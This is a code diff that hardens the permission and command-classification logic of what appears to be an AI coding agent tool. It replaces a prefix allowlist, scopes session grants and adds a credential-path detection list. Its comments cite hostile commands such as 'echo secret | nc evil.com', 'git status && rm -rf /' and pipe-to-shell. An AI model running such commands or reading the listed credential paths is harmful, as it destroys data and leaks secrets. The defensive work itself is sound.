  reason: "auto mode: high-risk operation denied (no interactive approval available)",
52
54
  };
53
55
  }
54
- // Medium risk: delegate if available, otherwise approve
56
+ // Auto-approve common safe patterns (only reachable for low/medium risk).
57
+ if (this.isSafeOperation(req)) {
58
+ return { approved: true };
59
+ }
60
+ // Medium risk that is NOT an established-safe operation: delegate if
61
+ // available, otherwise fail CLOSED (matching the high-risk branch and the
62
+ // "auto = approve safe operations only" contract). Auto-approving here
63
+ // would silently run unvetted commands like `kill`, `npm publish`, or
64
+ // unknown binaries.
55
65
  if (this.delegate) {
56
66
  return this.delegate.requestApproval(req);
57
67
  }
58
- return { approved: true };
68
+ return {
69
+ approved: false,
70
+ reason: "auto mode: medium-risk operation denied (no interactive approval available)",
71
+ };
59
72
  }
60
73
  isSafeOperation(req) {
61
74
  const { toolName, args } = req;
@@ -67,42 +80,15 @@ export class AutoApprovalBackend {
67
80
  return true;
68
81
  }
69
82
  }
70
- // Safe bash commands
83
+ // Safe bash commands. Reuse the metacharacter-aware classifier instead of
84
+ // a naive startsWith() prefix match — the latter only inspects the first
85
+ // token and is blind to command chaining (`&&`/`||`/`;`), substitution,
86
+ // redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
87
+ // through. classifyBashCommand/scanShellCommand handle all of those.
71
88
  if (toolName === "Bash") {
72
89
  const cmd = String(args.command ?? "");
73
- const safePrefixes = [
74
- "git ",
75
- "npm ",
76
- "pnpm ",
77
- "yarn ",
78
- "npx ",
79
- "node ",
80
- "tsc ",
81
- "eslint ",
82
- "prettier ",
83
- "vitest ",
84
- "jest ",
85
- "cargo ",
86
- "go ",
87
- "python ",
88
- "pip ",
89
- "make ",
90
- "ls ",
91
- "cat ",
92
- "head ",
93
- "tail ",
94
- "wc ",
95
- "echo ",
96
- "mkdir ",
97
- "touch ",
98
- "pwd",
99
- "whoami",
100
- "date",
101
- "which ",
102
- ];
103
- if (safePrefixes.some((p) => cmd.startsWith(p))) {
104
- return true;
105
- }
90
+ const level = classifyBashCommand(cmd);
91
+ return level === "safe-read" || level === "safe-write";
106
92
  }
107
93
  return false;
108
94
  }
@@ -120,7 +106,13 @@ export class AutoApprovalBackend {
120
106
  * the next time the user opens the project.
121
107
  */
122
108
  export class InteractiveApprovalBackend {
123
- sessionRules = new Map();
109
+ // Session-scoped grants, keyed on the OPERATION (tool + narrowed argsPattern
110
+ // via buildProjectRule), NOT just the tool name. Approving `git status` for
111
+ // the session must not auto-allow `rm -rf /` (both are "Bash"). Allow and
112
+ // deny are tracked separately so a one-off deny of `curl evil` never blocks
113
+ // an unrelated `git status`. (TODO 5.1 会话级权限缓存.)
114
+ sessionAllowRules = [];
115
+ sessionDenyRules = [];
124
116
  promptFn = null;
125
117
  cwd = null;
126
118
  // Project rules saved during this session. Kept in-memory (not re-read from
@@ -130,6 +122,13 @@ export class InteractiveApprovalBackend {
130
122
  // the same session. We accumulate here and hand the full list to the callback.
131
123
  savedProjectRules = [];
132
124
  onProjectRules = null;
125
+ // Serialize prompts so a burst of parallel tool calls doesn't queue N
126
+ // identical cards: while one ask is outstanding, later requests wait here
127
+ // and RE-CHECK the session rules when their turn comes — the first
128
+ // "本会话一直允许" answer then silently absorbs the queued duplicates.
129
+ // (All callers were already serialized at the UI anyway — the renderer
130
+ // shows one approval card at a time.)
131
+ promptTurn = Promise.resolve();
133
132
  setPromptFn(fn) {
134
133
  this.promptFn = fn;
135
134
  }
@@ -157,25 +156,75 @@ export class InteractiveApprovalBackend {
157
156
  this.onProjectRules = fn;
158
157
  }
159
158
  async requestApproval(req) {
160
- // Check session rules first
161
- const toolRule = this.sessionRules.get(req.toolName);
162
- if (toolRule === "allow")
163
- return { approved: true };
164
- if (toolRule === "deny")
159
+ // Fast path: the operation may already be covered by a session rule.
160
+ const cached = this.checkSessionRules(req);
161
+ if (cached)
162
+ return cached;
163
+ if (!this.promptFn) {
164
+ return { approved: false, reason: "interactive approval backend has no prompt function" };
165
+ }
166
+ // Serialize prompts and re-check rules when our turn comes (see promptTurn
167
+ // field doc): a burst of parallel tool calls all passes the fast path
168
+ // before the first decision lands; without the re-check the user had to
169
+ // answer one card per duplicate.
170
+ const prevTurn = this.promptTurn;
171
+ let release;
172
+ this.promptTurn = new Promise((r) => (release = r));
173
+ try {
174
+ await prevTurn;
175
+ const nowCached = this.checkSessionRules(req);
176
+ if (nowCached)
177
+ return nowCached;
178
+ return await this.promptAndRecord(req);
179
+ }
180
+ finally {
181
+ release();
182
+ }
183
+ }
184
+ /** Session-rule lookup — operation-scoped (see sessionAllowRules doc). Deny
185
+ * wins over allow if both somehow match (conservative). Null = no rule. */
186
+ checkSessionRules(req) {
187
+ if (this.sessionDenyRules.some((r) => ruleMatches(r, req.toolName, req.args))) {
165
188
  return { approved: false };
189
+ }
190
+ if (this.sessionAllowRules.some((r) => ruleMatches(r, req.toolName, req.args))) {
191
+ return { approved: true };
192
+ }
193
+ return null;
194
+ }
195
+ /** The actual interactive ask + rule recording (runs inside the prompt turn). */
196
+ async promptAndRecord(req) {
166
197
  if (!this.promptFn) {
167
198
  return { approved: false, reason: "interactive approval backend has no prompt function" };
168
199
  }
169
200
  const result = await this.promptFn(req);
170
201
  const scope = result.scope ?? (result.always ? "session" : "once");
202
+ // Path narrowing only rides on an APPROVE: a path-scoped deny is confusing
203
+ // (deny stays tool-wide). pathScope is ignored by buildProjectRule for
204
+ // non-file tools / when absent.
205
+ const ruleOpts = result.approved
206
+ ? { pathScope: result.pathScope, cwd: this.cwd ?? undefined }
207
+ : undefined;
171
208
  if (scope === "session" && result.always) {
172
- this.sessionRules.set(req.toolName, result.approved ? "allow" : "deny");
209
+ // Narrow to the operation (Bash → head command, file tools path scope)
210
+ // so the session grant is scoped, not tool-wide. A rule with no
211
+ // argsPattern keeps the prior tool-granularity behavior.
212
+ const rule = buildProjectRule(req.toolName, req.args, ruleOpts);
213
+ if (rule) {
214
+ const target = result.approved ? this.sessionAllowRules : this.sessionDenyRules;
215
+ const dup = target.some((r) => r.tool === rule.tool &&
216
+ JSON.stringify(r.argsPattern) === JSON.stringify(rule.argsPattern));
217
+ if (!dup) {
218
+ // buildProjectRule always returns decision:"allow"; flip for deny.
219
+ target.push(result.approved ? rule : { ...rule, decision: "deny" });
220
+ }
221
+ }
173
222
  }
174
223
  else if (scope === "project" && result.approved) {
175
224
  // Project-scope: persist a PermissionRule to settings.local.json.
176
225
  // We only persist allow rules — denies stay session-only because a
177
226
  // persisted deny is harder to recover from than a session deny.
178
- const rule = buildProjectRule(req.toolName, req.args);
227
+ const rule = buildProjectRule(req.toolName, req.args, ruleOpts);
179
228
  if (rule && this.cwd) {
180
229
  try {
181
230
  persistProjectRule(this.cwd, rule);
@@ -206,20 +255,54 @@ export class InteractiveApprovalBackend {
206
255
  console.error("Failed to persist project permission rule:", err.message);
207
256
  }
208
257
  }
209
- // Also seed session map so the rest of this REPL session benefits
210
- // even if the classifier path doesn't pick the rule up immediately.
211
- this.sessionRules.set(req.toolName, "allow");
258
+ // Also seed the session allow list (operation-scoped) so the rest of
259
+ // this REPL session benefits even if the classifier path doesn't pick
260
+ // the rule up immediately.
261
+ if (rule) {
262
+ const dup = this.sessionAllowRules.some((r) => r.tool === rule.tool &&
263
+ JSON.stringify(r.argsPattern) === JSON.stringify(rule.argsPattern));
264
+ if (!dup)
265
+ this.sessionAllowRules.push(rule);
266
+ }
212
267
  }
213
268
  return result;
214
269
  }
215
270
  }
271
+ /** File tools whose approvals can be narrowed to a path prefix. */
272
+ const PATH_SCOPED_TOOLS = new Set(["Write", "Edit"]);
273
+ /**
274
+ * Build the `file_path` argsPattern that narrows a remembered file-tool grant
275
+ * to a path scope. Pure: takes an ALREADY-RESOLVED absolute path (the caller
276
+ * normalizes against cwd so `../` can't slip past the prefix) and the scope.
277
+ *
278
+ * "file" → `^<esc(abs)>$` only this exact file
279
+ * "dir" → `^<esc(dir(abs))>/` this file's directory + subdirectories
280
+ * "tool" → null no narrowing (tool-wide; legacy behavior)
281
+ *
282
+ * The dir form keeps a trailing slash so `/repo/src/` can't match a sibling
283
+ * like `/repo/src-secret/x.ts`. Regex metacharacters in the path are escaped.
284
+ */
285
+ export function pathRuleArgsPattern(absPath, scope) {
286
+ if (scope === "tool")
287
+ return null;
288
+ if (scope === "file")
289
+ return { file_path: `^${escapeRegex(absPath)}$` };
290
+ // dir: strip the basename, ensure a single trailing slash, anchor as prefix.
291
+ const slash = absPath.lastIndexOf("/");
292
+ const dir = slash > 0 ? absPath.slice(0, slash) : absPath;
293
+ return { file_path: `^${escapeRegex(dir + "/")}` };
294
+ }
216
295
  /**
217
296
  * Build a PermissionRule from a single approval. Bash narrows to the head
218
297
  * command (first whitespace token) so "git status" → allow all `git ...`.
219
- * Other tools currently allow at tool granularity — file-level whitelists
220
- * could be added later by extending argsPattern.
298
+ *
299
+ * File tools (Write/Edit) narrow to a PATH scope when `opts.pathScope` is
300
+ * "file"/"dir": "allow Write src/foo.ts for this session" then means exactly
301
+ * that file (or its directory), NOT every path. Without a pathScope (or
302
+ * "tool"), they keep the legacy tool-wide grant. Paths are resolved against
303
+ * `opts.cwd` first so `../` can't widen the prefix. Other tools stay tool-wide.
221
304
  */
222
- function buildProjectRule(toolName, args) {
305
+ function buildProjectRule(toolName, args, opts) {
223
306
  if (toolName === "Bash") {
224
307
  const cmd = String(args.command ?? "").trim();
225
308
  const head = cmd.split(/\s+/)[0];
@@ -232,6 +315,23 @@ function buildProjectRule(toolName, args) {
232
315
  reason: `Allowed via permission prompt: ${head}`,
233
316
  };
234
317
  }
318
+ if (PATH_SCOPED_TOOLS.has(toolName) && opts?.pathScope && opts.pathScope !== "tool") {
319
+ const raw = String(args.file_path ?? "");
320
+ if (raw) {
321
+ // Resolve against cwd so a relative or `../`-laden path becomes the real
322
+ // absolute path the prefix anchors to.
323
+ const abs = resolvePath(opts.cwd ?? process.cwd(), raw);
324
+ const argsPattern = pathRuleArgsPattern(abs, opts.pathScope);
325
+ if (argsPattern) {
326
+ return {
327
+ tool: toolName,
328
+ argsPattern,
329
+ decision: "allow",
330
+ reason: `Allowed via permission prompt: ${toolName} ${opts.pathScope === "dir" ? dirname(abs) + "/" : abs}`,
331
+ };
332
+ }
333
+ }
334
+ }
235
335
  return {
236
336
  tool: toolName,
237
337
  decision: "allow",
@@ -241,6 +341,66 @@ function buildProjectRule(toolName, args) {
241
341
  function escapeRegex(s) {
242
342
  return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
243
343
  }
344
+ /**
345
+ * Does `rule` match this tool call? Shared by the {@link PermissionClassifier}
346
+ * (project/user rules) and {@link InteractiveApprovalBackend}'s session cache
347
+ * so the two never diverge on what "the same operation" means. Handles the
348
+ * JSON round-trip where a persisted RegExp comes back as a string.
349
+ */
350
+ export function ruleMatches(rule, toolName, args) {
351
+ if (rule.tool !== toolName && rule.tool !== "*")
352
+ return false;
353
+ if (!rule.argsPattern)
354
+ return true;
355
+ // A Bash allow-rule is narrowed to a HEAD command (e.g. `^git(\s|$)`), but a
356
+ // raw regex test would let a chained command smuggle a dangerous tail past a
357
+ // grant for its head: `git status && rm -rf /` starts with `git `, so the
358
+ // grant for `git status` would otherwise auto-allow the whole thing. A
359
+ // head-narrowed grant must only cover a SINGLE, non-dangerous command — if the
360
+ // candidate chains (`&&`/`||`/`;`), pipes (`| sh`), or uses substitution/
361
+ // redirection, refuse the match so it re-prompts. (We only gate narrowed Bash
362
+ // grants; a tool-wide `*`/no-pattern rule, or an explicit user `argsPattern`,
363
+ // is the user's own choice and untouched.)
364
+ if (toolName === "Bash" && rule.tool === "Bash" && rule.argsPattern.command) {
365
+ const cmd = String(args.command ?? "");
366
+ const scan = scanShellCommand(cmd);
367
+ // scanShellCommand flags `;`/`&&`/`||`/substitution/redirection (multi-segment
368
+ // or dangerous), but a single pipe stays IN-segment (it's per-segment data
369
+ // flow, not a statement boundary) — so `git log | sh` is one non-dangerous
370
+ // segment. A head grant must not cover a pipe either: reject any segment
371
+ // carrying an (unquoted-enough) pipe so pipe-to-shell can't ride the grant.
372
+ if (scan.dangerous || scan.segments.length > 1 || scan.segments.some((s) => s.includes("|"))) {
373
+ return false;
374
+ }
375
+ }
376
+ for (const [key, pattern] of Object.entries(rule.argsPattern)) {
377
+ const argVal = String(args[key] ?? "");
378
+ if (pattern instanceof RegExp) {
379
+ if (!pattern.test(argVal))
380
+ return false;
381
+ }
382
+ else if (typeof pattern === "string") {
383
+ const looksLikeRegex = /[\\^$.*+?()[\]|{}]/.test(pattern);
384
+ if (looksLikeRegex) {
385
+ let re;
386
+ try {
387
+ re = new RegExp(pattern);
388
+ }
389
+ catch {
390
+ if (!argVal.includes(pattern))
391
+ return false;
392
+ continue;
393
+ }
394
+ if (!re.test(argVal))
395
+ return false;
396
+ }
397
+ else if (!argVal.includes(pattern)) {
398
+ return false;
399
+ }
400
+ }
401
+ }
402
+ return true;
403
+ }
244
404
  /**
245
405
  * Append a rule to <cwd>/.code-shell/settings.local.json. Local file because
246
406
  * permission grants are per-developer and shouldn't be checked into git.
@@ -249,16 +409,17 @@ function escapeRegex(s) {
249
409
  function persistProjectRule(cwd, rule) {
250
410
  const dir = `${cwd}/.code-shell`;
251
411
  const file = `${dir}/settings.local.json`;
252
- // Lazy node imports keep permission.ts free of fs at module load time
253
- // so it can be used in non-Node contexts (tests, browsers via shim).
254
- // eslint-disable-next-line @typescript-eslint/no-require-imports
255
- const fs = require("node:fs");
256
- if (!fs.existsSync(dir))
257
- fs.mkdirSync(dir, { recursive: true });
412
+ // Don't resurrect a deleted project root: a recursive mkdir of
413
+ // <cwd>/.code-shell recreates `cwd` itself as an empty shell when cwd is gone.
414
+ // Persistence here is best-effort, so skip when the root is missing.
415
+ if (!existsSync(cwd))
416
+ return;
417
+ if (!existsSync(dir))
418
+ mkdirSync(dir, { recursive: true });
258
419
  let settings = {};
259
- if (fs.existsSync(file)) {
420
+ if (existsSync(file)) {
260
421
  try {
261
- settings = JSON.parse(fs.readFileSync(file, "utf-8"));
422
+ settings = JSON.parse(readFileSync(file, "utf-8"));
262
423
  }
263
424
  catch {
264
425
  /* start fresh on parse error */
@@ -277,9 +438,11 @@ function persistProjectRule(cwd, rule) {
277
438
  settings.permissions.rules.push(rule);
278
439
  // Atomic write: stage to .tmp, then rename, so a crash mid-write can't
279
440
  // truncate settings.local.json and lose every saved permission grant.
280
- const tmp = `${file}.${process.pid}.${Date.now()}.tmp`;
281
- fs.writeFileSync(tmp, JSON.stringify(settings, null, 2) + "\n", "utf-8");
282
- fs.renameSync(tmp, file);
441
+ // randomUUID() (not pid+Date.now()) guards against temp-name collisions when
442
+ // two writers fire within the same millisecond.
443
+ const tmp = `${file}.${randomUUID()}.tmp`;
444
+ writeFileSync(tmp, JSON.stringify(settings, null, 2) + "\n", "utf-8");
445
+ renameSync(tmp, file);
283
446
  }
284
447
  // Singleton interactive backend for use by the UI
285
448
  let _interactiveBackend = null;
@@ -317,9 +480,16 @@ const DANGEROUS_PATTERNS = [
317
480
  ];
318
481
  const SAFE_READ_PATTERNS = [
319
482
  /^(cat|head|tail|less|more|wc|file|stat|du|df)\s/,
320
- /^(ls|tree|find|locate|which|whereis|type)\s/,
483
+ /^(ls|tree|locate|which|whereis|type)\s/,
484
+ // `find` is read-only ONLY without an action that executes or mutates:
485
+ // -delete, -exec/-execdir/-ok/-okdir run commands; -fprint/-fprintf/-fls
486
+ // write files. Reject those so `find . -delete` / `find . -exec rm {} +`
487
+ // are NOT classified safe-read. Plain predicates (-name, -type, -print) stay.
488
+ /^find\s(?!.*\s-(delete|exec(dir)?|ok(dir)?|fprintf?|fls)\b)/,
321
489
  /^(grep|rg|ag|ack|fgrep|egrep)\s/,
322
- /^(git\s+(status|log|diff|branch|show|blame|remote|tag|stash\s+list|rev-parse|describe))/,
490
+ // Word-boundary the git read subcommands so `git difftool -x <cmd>` (which
491
+ // runs an arbitrary external command) does NOT match on the `diff` branch.
492
+ /^(git\s+(status|log|diff|branch|show|blame|remote|tag|stash\s+list|rev-parse|describe))\b/,
323
493
  /^(node|python|ruby|go|rustc|java|javac)\s+--version/,
324
494
  /^(npm|pnpm|yarn|cargo|pip|gem|brew)\s+(list|ls|info|show|view|outdated|audit)/,
325
495
  /^pwd$/,
@@ -330,6 +500,46 @@ const SAFE_READ_PATTERNS = [
330
500
  /^env$/,
331
501
  /^printenv/,
332
502
  ];
503
+ // ─── Sensitive safe-read downgrade ────────────────────────────────
504
+ //
505
+ // `Read ~/.ssh/id_rsa` routes through path-policy (asks); the equivalent
506
+ // `cat ~/.ssh/id_rsa` was YOLO-classified safe-read and auto-allowed with the
507
+ // desktop's default sandbox=off — a zero-approval credential exfil channel.
508
+ // A segment that would otherwise be safe-read is downgraded to `unsafe` (→
509
+ // ask) when it dumps the process env or its arguments touch a sensitive path.
510
+ // Conservative-and-narrow: only known credential/secret shapes trip it, so
511
+ // ordinary reads (README.md, src/*.ts) stay safe-read.
512
+ // Whole-command env dumps that leak Credential.exposeAsEnv / top-level `env`
513
+ // API keys. `env FOO=bar cmd` (env used as a launcher) is intentionally NOT
514
+ // matched — only a bare dump.
515
+ const ENV_DUMP_RE = /^(env|printenv)(\s+[A-Za-z_][A-Za-z0-9_]*)*\s*$/;
516
+ const SENSITIVE_PATH_PATTERNS = [
517
+ /\.ssh\//, // ~/.ssh/id_rsa, authorized_keys, known_hosts
518
+ /(^|\/)id_(rsa|dsa|ecdsa|ed25519)\b/,
519
+ /(^|\/|\s)\.env(\.[A-Za-z0-9]|\b)/, // .env, .env.local, .env.production
520
+ /\.aws\/credentials\b/,
521
+ /\.code-shell\/credentials\b/,
522
+ /credentials\.json\b/,
523
+ /\.npmrc\b/,
524
+ /\.netrc\b/,
525
+ /\.pgpass\b/,
526
+ /\.docker\/config\.json\b/,
527
+ /\.kube\/config\b/,
528
+ /\.config\/gh\/hosts\b/,
529
+ /\.gnupg\//,
530
+ /(^|\/)\.git-credentials\b/,
531
+ ];
532
+ /**
533
+ * True when an otherwise-safe-read shell segment must be downgraded to `unsafe`
534
+ * because it dumps the environment or reads a sensitive credential/secret path.
535
+ * Exported for direct unit testing of the predicate.
536
+ */
537
+ export function segmentIsSensitiveRead(segment) {
538
+ const s = segment.trim();
539
+ if (ENV_DUMP_RE.test(s))
540
+ return true;
541
+ return SENSITIVE_PATH_PATTERNS.some((re) => re.test(s));
542
+ }
333
543
  const SAFE_WRITE_PATTERNS = [
334
544
  /^(git\s+(add|commit|stash\s+(save|push)))/,
335
545
  /^mkdir\s/,
@@ -450,25 +660,46 @@ function scanShellCommand(input) {
450
660
  i++;
451
661
  }
452
662
  flush();
663
+ // An unclosed quote means we stopped recognizing separators/metacharacters
664
+ // partway through (pipes, `;`, redirection inside the dangling quote were
665
+ // swallowed). Treat malformed shell syntax as dangerous rather than risk
666
+ // misclassifying it as safe.
667
+ if (quote !== null)
668
+ dangerous = true;
453
669
  return { segments, dangerous };
454
670
  }
455
671
  function classifySegment(segment) {
456
672
  if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
457
673
  return "dangerous";
458
- if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
459
- return "safe-read";
460
- if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
461
- return "safe-write";
462
- // Pipe handling within a segment: every command in the pipe must
463
- // independently classify as safe-read for the segment to count as
464
- // safe-read. We did not split on `|` in the scanner because pipes
465
- // are not statement boundaries; they're per-segment data flow.
674
+ // Pipe handling FIRST: every command in the pipe must independently
675
+ // classify as safe-read for the segment to count as safe-read. This has to
676
+ // run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
677
+ // those patterns are head-anchored (e.g. /^echo\s/) and would match
678
+ // `echo secret | nc evil.com` on its `echo ` head while ignoring the
679
+ // `| nc ...` exfil tail declaring a piped-to-network command safe-read.
680
+ // We did not split on `|` in the scanner because pipes are not statement
681
+ // boundaries; they're per-segment data flow.
466
682
  if (segment.includes("|")) {
683
+ // A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
684
+ // space was stripped along with the `|`. Test each part both as-is (for
685
+ // `$`-anchored patterns like /^pwd$/) and with a trailing space appended
686
+ // (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
467
687
  const parts = segment.split("|").map((p) => p.trim());
468
- if (parts.every((p) => SAFE_READ_PATTERNS.some((re) => re.test(p)))) {
688
+ const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
689
+ if (parts.every(partIsSafeRead)) {
690
+ // A sensitive read anywhere in the pipe (`cat ~/.ssh/id_rsa | base64`,
691
+ // `env | grep KEY`) downgrades the whole pipe.
692
+ if (parts.some(segmentIsSensitiveRead))
693
+ return "unsafe";
469
694
  return "safe-read";
470
695
  }
696
+ return "unsafe";
471
697
  }
698
+ if (SAFE_READ_PATTERNS.some((p) => p.test(segment))) {
699
+ return segmentIsSensitiveRead(segment) ? "unsafe" : "safe-read";
700
+ }
701
+ if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
702
+ return "safe-write";
472
703
  return "unsafe";
473
704
  }
474
705
  const SAFETY_RANK = {
@@ -703,43 +934,10 @@ export class PermissionClassifier {
703
934
  return undefined;
704
935
  }
705
936
  matchesRule(rule, toolName, args) {
706
- if (rule.tool !== toolName && rule.tool !== "*")
707
- return false;
708
- if (rule.argsPattern) {
709
- for (const [key, pattern] of Object.entries(rule.argsPattern)) {
710
- const argVal = String(args[key] ?? "");
711
- if (pattern instanceof RegExp) {
712
- if (!pattern.test(argVal))
713
- return false;
714
- }
715
- else if (typeof pattern === "string") {
716
- // Rules persisted in settings.local.json lose their RegExp type
717
- // through JSON round-trip — they come back as strings. buildProjectRule
718
- // produces regex sources like `^cd(\\s|$)`; treat any string with
719
- // regex metacharacters as a pattern and only fall back to substring
720
- // match for plain literals (kept for backward compat with hand-edited
721
- // settings files that used plain substrings).
722
- const looksLikeRegex = /[\\^$.*+?()[\]|{}]/.test(pattern);
723
- if (looksLikeRegex) {
724
- let re;
725
- try {
726
- re = new RegExp(pattern);
727
- }
728
- catch {
729
- if (!argVal.includes(pattern))
730
- return false;
731
- continue;
732
- }
733
- if (!re.test(argVal))
734
- return false;
735
- }
736
- else if (!argVal.includes(pattern)) {
737
- return false;
738
- }
739
- }
740
- }
741
- }
742
- return true;
937
+ // Delegate to the shared matcher so the classifier and the session cache
938
+ // agree on rule semantics (the JSON-string-vs-RegExp handling, the head-
939
+ // command narrowing for Bash, etc.).
940
+ return ruleMatches(rule, toolName, args);
743
941
  }
744
942
  isDangerousCommand(args) {
745
943
  const command = String(args.command ?? "");
@@ -752,7 +950,14 @@ export class PermissionClassifier {
752
950
  return "medium";
753
951
  if (toolName === "Bash")
754
952
  return "medium";
755
- return "low";
953
+ // Only genuinely read-only built-ins are "low" (the sole tier
954
+ // AutoApprovalBackend approves with no delegate). Everything else —
955
+ // crucially every MCP tool, which can delete records, send messages, or
956
+ // deploy — defaults to "medium" so auto mode delegates it (UI prompt) or
957
+ // fails closed, instead of blind-approving an unknown side-effecting tool.
958
+ if (READ_ONLY_TOOLS.has(toolName))
959
+ return "low";
960
+ return "medium";
756
961
  }
757
962
  /**
758
963
  * Short, human-friendly subtitle. The UI shows this under the tool title;
@@ -0,0 +1,32 @@
1
+ /**
2
+ * Single source of truth for which tools are permitted in plan mode.
3
+ *
4
+ * Two call sites consume this:
5
+ * - engine.ts: filters the tool DEFINITIONS shown to the model, so the
6
+ * model only sees tools it's allowed to use while planning.
7
+ * - executor.ts: gates tool EXECUTION, refusing anything outside the set.
8
+ *
9
+ * These two lists used to be maintained separately and drifted (engine had
10
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
11
+ * Task family), so the model could be shown a tool the executor would then
12
+ * block, or vice-versa. Keep them identical by importing this constant in
13
+ * both places.
14
+ *
15
+ * Membership policy: read-only tools, planning/agent tools, and
16
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
17
+ * the executor additionally gates Bash to read-only commands at call time
18
+ * (executor defers to classifyBashCommand, admitting only "safe-read").
19
+ * Write/Edit/ApplyPatch/NotebookEdit and other mutating tools are
20
+ * intentionally excluded.
21
+ */
22
+ /**
23
+ * The built-in tools that only READ — no file writes, no side effects, no
24
+ * network mutations. Single source of truth shared by:
25
+ * - investigation-guard.ts (which tools count as "just looking")
26
+ * - permission.ts HeadlessApprovalBackend (approve-read-only mode)
27
+ * - permission.ts assessRisk (these are genuinely low-risk; everything else,
28
+ * including MCP tools, is at least medium so it isn't auto-approved blind)
29
+ * These three lists were independent byte-for-byte copies that could drift.
30
+ */
31
+ export declare const READ_ONLY_TOOLS: ReadonlySet<string>;
32
+ export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;